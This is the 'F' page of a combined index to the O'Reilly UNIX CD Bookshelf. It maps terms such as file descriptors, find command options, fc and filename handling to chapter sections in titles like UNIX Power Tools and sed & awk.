The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

.f filename extension : UNIX Power Tools, 1.17. Filename Extensions
.F filename extension : UNIX Power Tools, 1.17. Filename Extensions
-f option (awk)
sed & awk, 9.3.2. Maintaining a Function Library
sed & awk, 11.2.3.1. Command line options
-f option (sed)
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.3.2. Script Files
sed & awk, 2.3.2.3. Mixing options (POSIX)
-F option (awk)
sed & awk, 2.4.1. Running awk
sed & awk, 7.5.1. Referencing and Separating Fields
F# keys : UNIX Power Tools, 12.9. Running Multiple Shell Sessions with screen
face command : UNIX in a Nutshell, Chapter 2, Reference: face
factor command : UNIX in a Nutshell, Chapter 2, Reference: factor
factorials : sed & awk, 8.2.4. Deriving Factorials
fake signals : Learning the Korn Shell, 9.1.2. Fake Signals
DEBUG
Learning the Korn Shell, 9.1.2. Fake Signals
Learning the Korn Shell, 9.1.2.3. DEBUG
Learning the Korn Shell, 9.2.3.1. Commands
Learning the Korn Shell, 9.2.3.6. Limitations
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.5. bash
Learning the Korn Shell, A.6. Workalikes on PC Platforms
ERR
Learning the Korn Shell, 9.1.2. Fake Signals
Learning the Korn Shell, 9.1.2.2. ERR
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.6. Workalikes on PC Platforms
EXIT
Learning the Korn Shell, 9.1.2. Fake Signals
Learning the Korn Shell, 9.2.2. The Preamble
Learning the Korn Shell, 9.2.3.6. Limitations
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
Learning the Korn Shell, A.6. Workalikes on PC Platforms
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
trapping in scripts being debugged with kshdb : Learning the Korn Shell, 9.2.3.6. Limitations
faking dynamic regular expressions : sed & awk, 11.1.5. Faking Dynamic Regular Expressions
false command
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: false
UNIX in a Nutshell, Chapter 4, Reference: false
false exit status : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
FAQ on awk : sed & awk, Other Sources of Information About sed and awk
fast find
UNIX Power Tools, 17.18. Using "Fast find"
UNIX Power Tools, 17.19. Finding Files (Much) Faster with a find Database
fc command
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 2.5. The fc Command
UNIX Power Tools, 11.14.2. In ksh and bash: fc
UNIX in a Nutshell, 4.5.2. The fc Command
UNIX in a Nutshell, Chapter 4, Reference: fc
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
FCEDIT
Learning the Korn Shell, 2.5. The fc Command
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
fflush() : sed & awk, 11.2.1.3. Flushing buffered output
fg command
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 12.2. Other Ways to Refer to Jobs
UNIX in a Nutshell, Chapter 4, Reference: fg
UNIX in a Nutshell, Chapter 5, Reference: fg
(see also jobs and job control)
to resume suspended jobs : Learning the Korn Shell, 8.2.2. Suspending a Job
fgrep script
UNIX Power Tools, 27.6. Fast grep Isn't
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: fgrep
fi statement : (see if statements)
fi unexpected : UNIX Power Tools, 46.1.4. Missing or Extra esac, ;;, fi, etc.
field separators : (see delimiters)
fields for awk records
sed & awk, 2.4.1. Running awk
sed & awk, 7.5. Records and Fields
sed & awk, B.2.1. Records and Fields
formatting as output : sed & awk, 7.9. Formatted Printing
NF variable : sed & awk, 7.7. System Variables
FIELDSWIDTHS variable (gawk) : sed & awk, 11.2.3.6. Separating fields
fignore shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 9.9. Don't Match Useless Files in Filename Completion
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
file command
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 9.2.5. Exercises
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
UNIX Power Tools, 16.26. Finding Text Files with findtext
UNIX Power Tools, 47.4.3.5. File Inquiry Operators
UNIX in a Nutshell, Chapter 2, Reference: file
file command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: file
file command (ex) : UNIX in a Nutshell, Chapter 9, Reference: file
file creation mode mask : UNIX in a Nutshell, Chapter 2, Reference: umask
file descriptors
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
associated with files : UNIX Power Tools, 45.22. Handling Files Line-by-Line
closing : UNIX Power Tools, 47.2.1.3. Closing FDs
I/O redirection to/from
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 7.2.2.4. Reading User Input
managing
UNIX Power Tools, 45.7. The exec Command
UNIX Power Tools, 47.2.1. File Descriptors
of standard I/O : Learning the Korn Shell, 7.1.2. File Descriptors
redirecting : UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
uses for : UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
file inquiry operators (csh) : UNIX in a Nutshell, 5.4.1.5. File Inquiry Operators
file pointer : UNIX Power Tools, 45.22. Handling Files Line-by-Line
File Transfer Protocol (FTP)
Learning the Korn Shell, 9.2. A Korn Shell Debugger
Learning the Korn Shell, A.5. bash
Learning the UNIX Operating System, 4.4.2.4. ftp
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
sed & awk, FTP
UNIX in a Nutshell, Chapter 2, Reference: ftp
software archives : UNIX Power Tools, 52.7.2. Online Archive
filec shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
UNIX in a Nutshell, 6.1. Filenames Versus Patterns
filenames
Learning the UNIX Operating System, 4.2. File and Directory Names
UNIX Power Tools, 4.6. Naming Files
sed & awk, 11.2.1.4. Special filenames
appending date to : UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
changing
Learning the UNIX Operating System, 4.4.3. Renaming and Moving Files
UNIX in a Nutshell, Chapter 2, Reference: mv
on command line : UNIX Power Tools, 13.13. The "Filename" -
comparing : UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
completion
UNIX Power Tools, 9.8. Filename Completion: Faster Filename Typing
UNIX Power Tools, 11.13. Shell Command-Line Editing
conventions : UNIX Power Tools, 1.15. Filenames
ending with ~ : UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
extensions for
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 4.6. Naming Files
length of : UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
links and
UNIX Power Tools, 18.4.1. Differences Between Hard and Symbolic Links
UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
UNIX Power Tools, 45.13. Save Disk Space and Programming: Multiple Names for a Program
null : UNIX Power Tools, 23.13. Deleting Files with the Null Name
picking automatically : UNIX Power Tools, 16.16. Picking a Unique Filename Automatically
restoring from backups by : UNIX Power Tools, 20.4.1. Restoring a Few Files
special
sed & awk, 11.2.1.4. Special filenames
sed & awk, 11.2.3.7. Additional special files
special characters in
UNIX Power Tools, 8.16. Quoting Handles Special Characters in Filenames
UNIX Power Tools, 16.14. Showing Non-Printable Characters in Filenames
UNIX Power Tools, 23.11. Deleting Files with Odd Names
starting with . : (see dot files)
stripped from pathnames : UNIX Power Tools, 45.18.1. Introduction to basename and dirname
symbols in : UNIX Power Tools, 44.15.1. With the $@"
for temporary files : UNIX Power Tools, 21.3. Unique Names for Temporary Files
whitespace in : UNIX Power Tools, 16.13. Can't Access a File? Look for Spaces in the Name
wildcards and
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
UNIX Power Tools, 15.1. File Naming Wildcards
UNIX in a Nutshell, 5.2.2. Filename Metacharacters
files
Learning the UNIX Operating System, 3.1. The UNIX Filesystem
UNIX Power Tools, 1.29. When Is a File Not a File?
UNIX Power Tools, 4.6. Naming Files
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 18.3. Files with Two or More Names
UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
access and modification times, updating : UNIX in a Nutshell, Chapter 2, Reference: touch
adding to other files : UNIX Power Tools, 25.2. Four Ways to Skin a cat
append to existing : Learning the vi Editor, 5.3.3. Appending to a Saved File
appending text to : Learning the UNIX Operating System, 5.1.1.2. The >> operator
archiving : (see archives)
automatic cleanup of : UNIX Power Tools, 3.4. Automatic File Cleanup
automatic updating of : UNIX Power Tools, 21.9. Keep File Printouts Up-to-Date Automatically with make
backing up : UNIX Power Tools, 20.1. tar in a Nutshell
binary
UNIX Power Tools, 27.19. Finding Words Inside Binary Files
UNIX in a Nutshell, Chapter 2, Reference: uuencode
breaking lines of : UNIX in a Nutshell, Chapter 2, Reference: fold
calculating checksum for : UNIX in a Nutshell, Chapter 2, Reference: sum
call in next of multiple : Learning the vi Editor, 5.5.2. Calling In New Files
on enclosed Power Tools CD-ROM : UNIX Power Tools, 52.1. Introduction
classifying by data type : UNIX in a Nutshell, Chapter 2, Reference: file
closing
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
sed & awk, 10.2. The close() Function
sed & awk, 10.5.2. Working with Multiple Files
combining into module : UNIX in a Nutshell, Chapter 2, Reference: ld
comments in, modifying : UNIX in a Nutshell, Chapter 2, Reference: mcs
comparing : (see comparing files)
compiling : UNIX in a Nutshell, Chapter 2, Reference: yacc
compressing/uncompressing
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX in a Nutshell, Chapter 2, Reference: compress
UNIX in a Nutshell, Chapter 2, Reference: pack
UNIX in a Nutshell, Chapter 2, Reference: uncompress
UNIX in a Nutshell, Chapter 2, Reference: zcat
compress command
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 1.8.1. Background I/O
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX in a Nutshell, Chapter 2, Reference: compress
compressor script : UNIX Power Tools, 21.5. What Good Is a File's Last Access Time?
editing compressed files : UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
entire directory tree
UNIX Power Tools, 24.8. Save Space: tar and compress a Directory Tree
UNIX Power Tools, 24.12. Compressing a Directory Tree: Fine-Tuning
gunzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
gzip utility
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 24.6. Save Space with Tab Characters
UNIX Power Tools, 24.7. Compressing Files to Save Space
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
paging through compressed files : (see paging and pagers)
running commands on compressed files : UNIX Power Tools, 24.10. zloop: Run a Command on Compressed Files
whitespace and : UNIX Power Tools, 24.6. Save Space with Tab Characters
converting
character sets in : UNIX in a Nutshell, Chapter 2, Reference: iconv
string_files into msg_files : UNIX in a Nutshell, Chapter 2, Reference: mkmsgs
into tables : UNIX in a Nutshell, Chapter 2, Reference: yacc
copying
Learning the UNIX Operating System, 4.4.2. Copying Files
UNIX Power Tools, 18.1. What's So Complicated About Copying Files?
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX in a Nutshell, Chapter 2, Reference: cp
(see also moving files; renaming files)
between machines : UNIX in a Nutshell, Chapter 2, Reference: rcp
dd command
UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
UNIX Power Tools, 35.6. Low-Level File Butchery with dd
UNIX Power Tools, 35.12. Converting Between ASCII and EBCDIC
UNIX Power Tools, 35.13. Other Conversions with dd
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: dd
to directories
UNIX Power Tools, 21.12. Copying Files to a Directory
UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
with remote systems : UNIX in a Nutshell, Chapter 2, Reference: uucp
remotely : Learning the UNIX Operating System, 4.4.2.3. rcp
from tape : UNIX in a Nutshell, Chapter 2, Reference: tar
counting by types : UNIX Power Tools, 16.24. Counting Files by Types
counting words/characters/lines of : UNIX in a Nutshell, Chapter 2, Reference: wc
creating : UNIX Power Tools, 25.2. Four Ways to Skin a cat
deleting
Learning the UNIX Operating System, 4.4.5. Removing Files and Directories
UNIX in a Nutshell, Chapter 2, Reference: rm
(see deleting files)
description : UNIX in a Nutshell, Chapter 2, Reference: make
descriptors associated with : UNIX Power Tools, 45.22. Handling Files Line-by-Line
directory tree and : Learning the UNIX Operating System, 3.1.7. Files in the Directory Tree
displaying contents of
adding or deleting whitespace : UNIX Power Tools, 25.9. Adding and Deleting White Space
cat command
UNIX Power Tools, 25.2. Four Ways to Skin a cat
UNIX Power Tools, 25.7. Show Non-Printing Characters with cat -v or od -c
displaying beginning/end only
UNIX Power Tools, 25.14. How to Look at the End of a File: tail
UNIX Power Tools, 25.20. Printing the Top of a File
double-spacing : UNIX Power Tools, 25.12. Double Space, Triple Space ...
less utility : UNIX Power Tools, 25.3. Using more to Page Through Files
more utility : UNIX Power Tools, 25.3. Using more to Page Through Files
numbering lines : UNIX Power Tools, 25.21. Numbering Lines
od utility : UNIX Power Tools, 25.7. Show Non-Printing Characters with cat -v or od -c
by page : (see paging and pagers)
profile data for : UNIX in a Nutshell, Chapter 2, Reference: prof
editing
Learning the vi Editor, 5.5. Editing Multiple Files
Learning the vi Editor, 5.5.2. Calling In New Files
Learning the vi Editor, 5.5.3. Edits Between Files
sed & awk, 4.4.2. Making Changes Across a Set of Files
UNIX Power Tools, 9.24.1. What Files Have I Just Edited?
UNIX in a Nutshell, Chapter 2, Reference: ex
(see also editors)
bfs command : UNIX in a Nutshell, Chapter 2, Reference: bfs
restrictions on : UNIX in a Nutshell, Chapter 2, Reference: red
emacs commands for handling : UNIX in a Nutshell, 7.2.1. File-handling Commands
email messages : (see email messages)
empty
UNIX Power Tools, 13.14. What Can You Do with an Empty File?
UNIX Power Tools, 21.7. Setting File Modification Time with touch
UNIX Power Tools, 24.1. Instead of Removing a File, Empty It
encoded, recreating original file : UNIX in a Nutshell, Chapter 2, Reference: uudecode
encrypting and decrypting : (see encryption)
environment : (see environment files)
executable
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 5.1.3.2. About C Compilers
Learning the Korn Shell, 5.5. while and until
(see executable files)
a.out : Learning the Korn Shell, 5.1.3.2. About C Compilers
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
expanding : UNIX in a Nutshell, Chapter 2, Reference: unpack
extracting contents from : sed & awk, 4.4.3. Extracting Contents of a File
finding : (see searching)
formatting
UNIX in a Nutshell, Chapter 2, Reference: newform
UNIX in a Nutshell, Chapter 2, Reference: pr
formatting lines in : UNIX in a Nutshell, Chapter 2, Reference: fmt
getting information on : sed & awk, 7.8.1. Getting Information About Files
hidden
Learning the UNIX Operating System, 3.1.8.1. ls
(see dot files)
information about : Learning the UNIX Operating System, 3.1.8.1. ls
inodes
UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
inserting text in : Learning the UNIX Operating System, 5.1.1. Putting Text in a File
Interleaf, converting : sed & awk, 6.1.1.1. Converting an Interleaf file
invoking vi on multiple : Learning the vi Editor, 5.5.1. Invoking vi on Multiple Files one
joining similar lines of : UNIX in a Nutshell, Chapter 2, Reference: join
last access time : (see last access time)
links to : (see symbolic links)
listing
Learning the UNIX Operating System, 3.1.8. Listing Files
UNIX Power Tools, 16.4. List All Subdirectories with ls -R
for current directory : UNIX in a Nutshell, Chapter 2, Reference: ls
related pairs of : UNIX in a Nutshell, Chapter 2, Reference: lorder
shared objects for : UNIX in a Nutshell, Chapter 2, Reference: ldd
those to be executed : UNIX in a Nutshell, Chapter 2, Reference: which
marking a place in : Learning the vi Editor, 4.4. Marking Your Place
merging lines into columns : UNIX in a Nutshell, Chapter 2, Reference: paste
modification times
Learning the Korn Shell, 7.3.2. eval
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.27. newer: Print the Name of the Newest File
monitoring growth of
UNIX Power Tools, 25.16. How to Look at a File as It Grows
UNIX Power Tools, 25.18. Watching Several Files Grow
moving
Learning the UNIX Operating System, 4.4.3. Renaming and Moving Files
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX in a Nutshell, Chapter 2, Reference: mv
multiple : sed & awk, 10.5.2. Working with Multiple Files
multiple edits to : sed & awk, 4.4.1. Multiple Edits to the Same File
on multiple systems, commands for : UNIX in a Nutshell, Chapter 2, Reference: uux
names for : (see filenames)
nextfile statement : sed & awk, 11.2.1.5. The nextfile statement
notification of change to : UNIX Power Tools, 21.8.1.2. Watching Other Files
numbering lines in : UNIX in a Nutshell, Chapter 2, Reference: nl
opening
(see opening a file)
(see vi commands)
(see
overwriting accidentally : UNIX Power Tools, 8.4. Command Evaluation and Accidentally Overwriting Files
overwriting by mistake : Learning the UNIX Operating System, 5.1.1.1. The > operator
ownership : (see ownership, file)
ownership of, changing
UNIX in a Nutshell, Chapter 2, Reference: chgrp
UNIX in a Nutshell, Chapter 2, Reference: chown
packed, displaying : UNIX in a Nutshell, Chapter 2, Reference: pcat
paging
UNIX Power Tools, 25.3. Using more to Page Through Files
UNIX in a Nutshell, Chapter 2, Reference: more
pathnames : Learning the UNIX Operating System, 3.1.3. The Directory Tree
permissions : (see permissions)
PostScript : (see PostScript files)
printing : (see printing files)
pseudonyms (links) for : UNIX in a Nutshell, Chapter 2, Reference: ln
quitting vi and saving edits
Learning the vi Editor, 1.1.3. Saving and Quitting a File
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 1.2.1. Problems Saving Files
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 5.3. Saving and Exiting Files
quitting vi without saving edits
Learning the vi Editor, 1.1.2. Problems Opening Files
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 5.3. Saving and Exiting Files
RCS files : UNIX Power Tools, 27.10. Search RCS Files with rcsgrep
read-only : UNIX Power Tools, 22.9. Protect Important Files: Make Them Unwritable
reading
Learning the UNIX Operating System, 3.2. Looking Inside Files
Learning the vi Editor, 5.4. Copying a File into Another File
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX Power Tools, 47.2.1.2. Reading Files
sed & awk, 5.11. Reading and Writing Files
sed & awk, 10.1.1. Reading Input from Files
recovering
UNIX Power Tools, 30.24. vi/ex File Recovery vs. Networked Filesystems
UNIX in a Nutshell, Chapter 2, Reference: vi
remote : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
copying : Learning the UNIX Operating System, 4.4.2.3. rcp
removing information from : UNIX in a Nutshell, Chapter 2, Reference: strip
renaming
restoring from tape : UNIX in a Nutshell, Chapter 2, Reference: tar
retrieving information from : sed & awk, 7.11. Information Retrieval
revision control
RCS utility : UNIX in a Nutshell, 18. The RCS Utility
SCCS utility
UNIX in a Nutshell, 17. The SCCS Utility
UNIX in a Nutshell, 18.4. Conversion Guide for SCCS Users
save as new : Learning the vi Editor, 5.3.1. Renaming the Buffer
saving
Learning the vi Editor, 1.1.3. Saving and Quitting a File
Learning the vi Editor, 5.3. Saving and Exiting Files
(see also vi commands)
(see also
saving part of : Learning the vi Editor, 5.3.2. Saving Part of a File
saving to : (see saving)
scripts as : (see scripts)
search path for : sed & awk, 11.2.3.2. An awk program search path
searching : (see searching)
across lines : UNIX Power Tools, 27.11. A Multiline Context grep Using sed
agrep script
UNIX Power Tools, 27.8. glimpse and agrep
UNIX Power Tools, 27.14. Compound Searches
Boyer-Moore search algorithm : UNIX Power Tools, 27.9. New greps Are Much Faster
case sensitivity : UNIX Power Tools, 27.16. Faking Case-Insensitive Searches
by column : UNIX Power Tools, 27.17. Finding a Character in a Column
compound searches : UNIX Power Tools, 27.14. Compound Searches
egrep script
UNIX Power Tools, 27.5. Extended Searching for Text with egrep
UNIX Power Tools, 27.7. grepping for a List of Patterns
by exclusion : UNIX Power Tools, 27.3. Finding Text That Doesn't Match
fgrep script : UNIX Power Tools, 27.6. Fast grep Isn't
glimpse command : UNIX Power Tools, 27.8. glimpse and agrep
grep command
UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
UNIX Power Tools, 27.1. Different Versions of grep
UNIX Power Tools, 27.12. Make Custom grep Commands (etc.) with perl
look program : UNIX Power Tools, 27.18. Fast Searches and Spelling Checks with "look"
rcsgrep script : UNIX Power Tools, 27.10. Search RCS Files with rcsgrep
sed with grep : UNIX Power Tools, 27.15. Narrowing a Search Quickly
searching : (see finding)
sharing : Learning the UNIX Operating System, 3.3. Protecting and Sharing Files
size of
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 24.5. Limiting File Sizes
UNIX in a Nutshell, Chapter 2, Reference: size
batch editing and : UNIX Power Tools, 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
limits for : UNIX Power Tools, 51.11. Making an Arbitrary-Size File for Testing
searching by : UNIX Power Tools, 17.14. Searching for Files by Size
sorting : (see sorting)
source, sending : UNIX in a Nutshell, Chapter 2, Reference: uuto
sparse : UNIX Power Tools, 24.18. Huge Files Might Not Take a Lot of Disk Space
special gawk : sed & awk, 11.2.3.7. Additional special files
spell checking : (see spell checking)
splitting into multiple files : UNIX in a Nutshell, Chapter 2, Reference: split
symbol tables for
printing : UNIX in a Nutshell, Chapter 2, Reference: nm
temporary
UNIX Power Tools, 9.17. Handling Lots of Text with Temporary Files
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
temporary (names for) : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
text : (see text files)
too many for command line : UNIX Power Tools, 9.20. Too Many Files for the Command Line
transferring to/from remote sites : UNIX in a Nutshell, Chapter 2, Reference: ftp
types of
UNIX Power Tools, 16.24. Counting Files by Types
UNIX Power Tools, 25.8. Finding File Types
unlinking when open : UNIX Power Tools, 24.3. Unlinking Open Files Isn't a Good Idea
updating older versions of : UNIX in a Nutshell, Chapter 2, Reference: install
write-protected, deleting : UNIX in a Nutshell, Chapter 2, Reference: rm
writing : UNIX Power Tools, 47.2.1.1. Writing Files
writing to
sed & awk, 2.3.2.1. Saving output
sed & awk, 5.11. Reading and Writing Files
sed & awk, 10.5. Directing Output to Files and Pipes
filesystem : Learning the UNIX Operating System, 3.1. The UNIX Filesystem
networked : Learning the UNIX Operating System, 3.1.3. The Directory Tree
filesystems
find command and : UNIX Power Tools, 17.25. Keeping find From Searching Networked Filesystems
hierarchical : UNIX Power Tools, 18.1. What's So Complicated About Copying Files?
ID numbers : UNIX Power Tools, 17.22. Finding the Links to a File
moving files between : UNIX Power Tools, 18.2. What's Really in a Directory
structure of : UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
fileutils : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
filter text through a UNIX command : Learning the vi Editor, 7.2.1. Filtering Text Through a Command
filters
Learning the UNIX Operating System, 5.2. Pipes and Filters
UNIX Power Tools, 1.3. Programs Are Designed to Work Together
UNIX Power Tools, 1.30. Redirecting Input and Output
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
ex editor : UNIX Power Tools, 30.22. Filtering Text Through a UNIX Command
fmt utility for : UNIX Power Tools, 30.37. Neatening Lines
in index program : UNIX Power Tools, 48.12. Using index with a Filter
vi editor : UNIX Power Tools, 30.22.2. Filtering Text with vi
find command
Learning the Korn Shell, 1.9.2. Backslash-escaping
Learning the UNIX Operating System, 4.4.4. Finding Files
UNIX Power Tools, 3.4. Automatic File Cleanup
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: find
\( \) operator : UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
! operator
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.6. Be an Expert on find Search Operators
{ } operator : UNIX Power Tools, 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
-a option : UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
-atime option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.5. Searching for Old Files
UNIX Power Tools, 17.7. The Times that find Finds
UNIX Power Tools, 21.5. What Good Is a File's Last Access Time?
-ctime option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.5. Searching for Old Files
UNIX Power Tools, 17.7. The Times that find Finds
to delete files : UNIX Power Tools, 23.22. Using find to Clear Out Unneeded Files
directory trees and : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
examples : UNIX Power Tools, 45.31. Nested Command Substitution
-exec option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.10. Running Commands on What You Find
UNIX Power Tools, 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
UNIX Power Tools, 22.7. Using chmod to Change File Permission
UNIX Power Tools, 22.8. The Handy chmod = Operator
fast find : UNIX Power Tools, 17.18. Using "Fast find"
-fstype option : UNIX Power Tools, 17.25. Keeping find From Searching Networked Filesystems
-group option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.16. Searching by Owner and Group
-inum option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.10. Running Commands on What You Find
UNIX Power Tools, 23.16. Removing a Strange File by its I-number
-links option : UNIX Power Tools, 17.5. Searching for Old Files
loops using : UNIX Power Tools, 45.18.2. Use with Loops
-maxdepth option : UNIX Power Tools, 17.23. Finding Files with -prune
-mtime option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.5. Searching for Old Files
UNIX Power Tools, 17.7. The Times that find Finds
with multiple options
UNIX Power Tools, 17.6. Be an Expert on find Search Operators
UNIX Power Tools, 17.12. Finding Many Things with One Command
-name option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.4. Looking for Files with Particular Names
UNIX Power Tools, 17.12. Finding Many Things with One Command
networked filesystems and : UNIX Power Tools, 17.25. Keeping find From Searching Networked Filesystems
-newer option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.8. Exact File Time Comparisons
UNIX Power Tools, 20.7. Creating a Timestamp File for Selective Backups
-nogroup option : UNIX Power Tools, 17.16. Searching by Owner and Group
-nouser option : UNIX Power Tools, 17.16. Searching by Owner and Group
-o option : UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
-ok option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.10. Running Commands on What You Find
UNIX Power Tools, 23.4. Answer "Yes" or "No" Forever with yes
-perm option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.15. Searching for Files by Permission
-print option
UNIX Power Tools, 17.3. Don't Forget -print
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.12. Finding Many Things with One Command
-print0 option : UNIX Power Tools, 9.22. xargs: Problems with Spaces and Newlines
-prune option
UNIX Power Tools, 17.23. Finding Files with -prune
UNIX Power Tools, 17.24. Skipping Some Parts of a Tree in find (A More Selective -prune)
-size option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.14. Searching for Files by Size
syntax of : UNIX Power Tools, 17.6. Be an Expert on find Search Operators
-type option
UNIX Power Tools, 17.1. The find Command Is Great; The Problem Is Finding How to Use It
UNIX Power Tools, 17.13. Searching for Files by Type
-user option : UNIX Power Tools, 17.16. Searching by Owner and Group
